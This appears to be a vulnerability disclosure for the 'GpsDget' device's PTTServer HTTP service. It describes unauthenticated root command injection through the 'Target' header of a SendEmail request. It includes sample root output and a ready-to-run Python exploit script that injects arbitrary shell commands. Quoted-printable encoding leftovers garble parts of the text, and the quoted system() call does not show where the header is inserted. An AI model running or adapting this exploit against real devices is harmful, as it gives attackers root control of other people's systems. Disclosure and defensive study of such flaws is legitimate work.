Version: GpsDget 2_3.2, build 2020-09-01 (dget.version); product line Gps2.0

Description:

HTTP service (Server: PTTServer) unauthenticated handler reachable by SendEmail

method request header. The "Target" header recipient

header is unsafly concatenated into a system() call:

system("echo ''|mail -r 'service@corget.com' -s '' ");

A Target value such as `x;;` injects unauthenticated arbitrary OS commands

executed as root.

Example: python3 corget.py TARGET:7777 'id > /data/rce'

HTTP/1.0 200 Ok

Server: PTTServer

Content-Length: 0

curl TARGET:13001/rce

uid=0(root) gid=0(root) 组=0(root)

import socket, sys

host, port =3D sys.argv[1].split(':')

cmd =3D sys.argv[2] if len(sys.argv) > 2 else 'id > /data/pwn'

req =3D f"POST / HTTP/1.0\r\nMethod: SendEmail\r\nTarget: x;{cmd};\r\nConte=

nt-Length: 3\r\n\r\na&b"

s =3D socket.socket()

s.connect((host, int(port)))

s.send(req.encode())

print(s.recv(4096).decode(errors=3D'replace'))
